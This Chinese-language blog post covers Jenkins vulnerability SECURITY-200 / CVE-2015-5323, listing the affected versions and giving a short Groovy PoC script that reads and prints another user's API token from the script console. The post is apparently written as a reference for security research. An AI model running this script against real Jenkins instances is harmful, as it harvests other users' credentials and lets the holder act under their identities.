Jenkins安全漏洞CVE-2015-5323技术分析与PoC

本文详细分析了Jenkins安全漏洞SECURITY-200/CVE-2015-5323,该漏洞允许管理员获取其他用户的API令牌。文章包含受影响版本信息、漏洞原理说明和完整的Groovy脚本PoC,适用于安全研究人员和DevOps工程师参考。

Jenkins - SECURITY-200 / CVE-2015-5323 PoC

漏洞描述

SECURITY-200 / CVE-2015-5323

默认情况下,其他用户的API令牌会暴露给管理员。在未明确授予管理员RunScripts权限的实例中,这允许管理员使用其他用户的凭据运行脚本。

受影响版本

  • 所有Jenkins主线版本,包括1.637及更早版本
  • 所有Jenkins LTS版本,包括1.625.1及更早版本

PoC代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//from: https://gist.github.com/hayderimran7/dec6a655ba671fa5b3c3

import jenkins.security.*

//j.jenkins.setSecurityRealm(j.createDummySecurityRealm());        

User u = User.get("admin")  

ApiTokenProperty t = u.getProperty(ApiTokenProperty.class)  

def token = t.getApiToken()

//token.getClass()

println "token is $token "

测试环境

  • 在Jenkins 1.6.37上测试通过

操作步骤

从脚本控制台运行Groovy代码获取其他用户的令牌:

错误令牌示例:

1
错误令牌内容

正确令牌示例:

1
正确令牌内容

标签: devops, jenkins, 渗透测试

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计